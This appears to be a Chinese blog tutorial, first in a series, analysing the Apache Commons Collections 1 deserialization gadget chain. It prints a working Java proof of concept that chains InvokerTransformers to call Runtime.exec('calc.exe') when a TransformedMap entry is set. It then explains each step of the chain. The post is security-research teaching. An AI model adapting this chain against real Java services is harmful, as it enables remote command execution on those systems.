Java安全之Commons Collections1分析(一)
Java安全之Commons Collections1分析(一)
0x00 前言
在CC链中,其实具体执行过程还是比较复杂的。建议调试前先将一些前置知识的基础给看一遍。
Java安全之Commons Collections1分析前置知识
0x01 CC链分析
这是一段poc代码,执行完成后会弹出一个计算器。
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");
}
}
下面每一段一段代码的来进行分析。
首先Transformer
是一个接口,ConstantTransformer
和InvokerTransformer
都是Transformer
接口的实现类。那么在这里抛出一个问题,Transformer
明明是接口为什么可以new呢?这也是我一开始看到这段代码的时候的一个问题。
Transformer[] transformers = new Transformer[]
其实这里并不是new了一个接口,而是new了一个 Transformer类型的数组,里面存储的是 Transformer的实现类对象。
先来分析一下ConstantTransformer
这里是使用了构造方法传入参数,并且传入的参数为Runtime
,而在调用到transform时,会进行返回我们传入的参数。后面会讲具体怎么去调用的这个方法。
InvokerTransformer分析
打一个debug跟踪到InvokerTransformer类里面
这里的传入了三个参数,第一个是方法名,第二个是参数类型,第三个是参数的值。
为了清晰,下面列一下,每个InvokerTransformer的参数值。
getMethod,null,getRuntime
invoke,null,null
exec,null,calc.exe
这里也有个transform
方法,也是比较重要的一个点,但是在这里先不分析该方法,这个放在后面去做分析。
ChainedTransformer分析
来看下一段代码
Transformer transformerChain = new ChainedTransformer(transformers);
将transformers
数组传入ChainedTransformer
构造方法里面。
该构造方法对进行赋值到本类的成员变量里面,后面如果调用了transform方法,就会遍历transformers
数组进行逐个去调用他的transform
。那么分析到这一步我们需要做的是ChainedTransformer的transform什么时候会被调用。
官方说明:
将指定的转换器连接在一起的转化器实现。
输入的对象将被传递到第一个转化器,转换结果将会输入到第二个转化器,并以此类推
也就是说该方法会将第一次的执行结果传递到第二次执行的参数里面去。
这里可以看到传入的Runtime
,那么为什么传入的是Runtime
呢?再回去看看ConstantTransformer
这个类就可以知道,调用transform方法的话就会进行返回this.iConstant
。而在定义数组的时候,我们就使用了ConstantTransformer
的构造方法来进行赋值。
new ConstantTransformer(Runtime.class)
所以这里传入的是Runtime
的类。
在第一次执行的时候,已经将Runtime
传入到了参数里面
这里的transform方法使用了反射。
Class cls = input.getClass();
Method method = cls.getMethod(getMethod,null);
return method.invoke(input, getRuntime);
反射调用并且返回getRuntime对象。
第二次传入的是Runtime.getRuntime
Class cls = input.getClass();
Method method = cls.getMethod(invoke, null);
return method.invoke(input,null);
第二次返回的是Runtime的实例化对象。
第三次又将实例化对象传入方法参数里面,
Class cls = input.getClass();
Method method = cls.getMethod("exec", null);
return method.invoke(input, "calc.exe");
这样一个命令就执行完成了,那么ChainedTransformer的作用就是将Transformer数组给拼接起来。
通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,然后通过反射执行invoke才能去调用getRuntime方法,这样得到一个Runtime对象,然后再去调用Runtime对象的exec方法去达到命令执行。
那么又会回到刚刚的问题,ChainedTransformer是怎么被调用的呢?
TransformedMap分析
先来查看他的构造方法
构造方法把传入的map和Transformer进行赋值。
在TransformedMap的transformValue方法中看到调用了this.valueTransformer的transform。而在下面一段代码就已经对他进行了赋值
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
TransformedMap类并不能直接new出来,需要使用decorat提供一个实例化对象。
在这里我们就已经知道了transformValue可以去调用transform方法,那么再来看看transformValue会在哪里被调用。
在put方法就会调用transformValue,从而导致transformValue调用transform方法去执行命令。
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("1","1");
0x02 结尾
在这里我们是使用了代码直接的让他去弹出一个计算器,但是在实际运用中,需要将该代码转换为序列化流。在实际运用中需要我们需要找到⼀个类,它在反序列化的readObject读取我们序列化的流文件。在分析该链的时候也比较乱,下篇文章重新来完整的调试一下。
Java安全之Commons Collections1分析(一)的更多相关文章
- Java安全之Commons Collections1分析(二)
Java安全之Commons Collections1分析(二) 0x00 前言 续上篇文,继续调试cc链.在上篇文章调试的cc链其实并不是一个完整的链.只是使用了几个方法的的互相调用弹出一个计算器. ...
- Java安全之Commons Collections1分析前置知识
Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...
- Java安全之Commons Collections1分析(三)
Java安全之Commons Collections1分析(三) 0x00 前言 继续来分析cc链,用了前面几篇文章来铺垫了一些知识.在上篇文章里,其实是硬看代码,并没有去调试.因为一直找不到JDK的 ...
- Java安全之Commons Collections3分析
Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...
- Java安全之Commons Collections2分析
Java安全之Commons Collections2分析 首发:Java安全之Commons Collections2分析 0x00 前言 前面分析了CC1的利用链,但是发现在CC1的利用链中是有版 ...
- Java安全之Commons Collections5分析
Java安全之Commons Collections5分析 文章首发:Java安全之Commons Collections5分析 0x00 前言 在后面的几条CC链中,如果和前面的链构造都是基本一样的 ...
- Java安全之Commons Collections7分析
Java安全之Commons Collections7分析 0x00 前言 本文讲解的该链是原生ysoserial中的最后一条CC链,但是实际上并不是的.在后来随着后面各位大佬们挖掘利用链,CC8,9 ...
- Java安全之Commons Collections6分析
Java安全之Commons Collections6分析 0x00 前言 其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别.在CC6链中也和CC ...
- Commons Collections1分析
0x01.基础知识铺垫 接下来这个过程将涉及到几个接口和类 1.LazyMap 我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map: Map outerMap = ...
随机推荐
- JAVA线程池原理与源码分析
1.线程池常用接口介绍 1.1.Executor public interface Executor { void execute(Runnable command); } 执行提交的Runnable ...
- vue init深度定制团队自己的Vue template
大家都知道,使用vue-cli可以快速的初始化一个基于Vue.js的项目,全局安装脚手架之后,你可以通过vue list命令看到官方提供的5个模板 vue list 当开发一个独立项目的时候,使用官方 ...
- get_started_3dsctf_2016
题外:这道题不是很难,但是却难住了我很久.主要是在IDA中查看反编译出的伪代码时双击了一下gets()函数,结果进入gets函数内部,我当时就懵了,误以为这是一个自定义函数,但是自定义函数应该应该不能 ...
- Linux:apache第一个简单的站点
前提: apache安装目录再/application/apache/ 1.先进入安装目录中 cd /application/apache/ ls 查看目录中的内容 可以看到好多我们常见的文件夹,bi ...
- Ajax获取接口数据,url拼接参数跳转页面,js获取上一级页面参数给本页面
1.Ajax获取接口数据 function demo(){ //假设请求参数 var requestBody = [{ "name":"zhang", &quo ...
- sql注入 --显错注入
前提知识 数据库:就是将大量数据把保存起来,通过计算机加工而成的可以高效访问数据库的数据集合数据库结构:库:就是一堆表组成的数据集合表:类似 Excel,由行和列组成的二维表字段:表中的列称为字段记录 ...
- 快速排序之C实现和JS实现的区别
快速排序是面试中的几乎必问的问题,理解之后发现并不难,在此贴出两种版本,与小伙伴们相互交流 PS:今天码代码非常有感觉,所以连发三篇博客,下午打球,手感也是热的发烫,希望不忘初心,方得始终. 进入正题 ...
- 移动端 取消0.3ms的延迟 两种方案解决
在index.html中添加一下代码 <script src="https://as.alipayobjects.com/g/component/fastclick/1.0.6/fas ...
- 每日一道 LeetCode (48):最长回文子串
每天 3 分钟,走上算法的逆袭之路. 前文合集 每日一道 LeetCode 前文合集 代码仓库 GitHub: https://github.com/meteor1993/LeetCode Gitee ...
- 关于JSON的零碎小知识
1.ali的fastjson在将实体类转成jsonString的时候,一些首字母大写的字段会自动修改为小字母,这种字段加 @JsonProperty(value = "DL_id" ...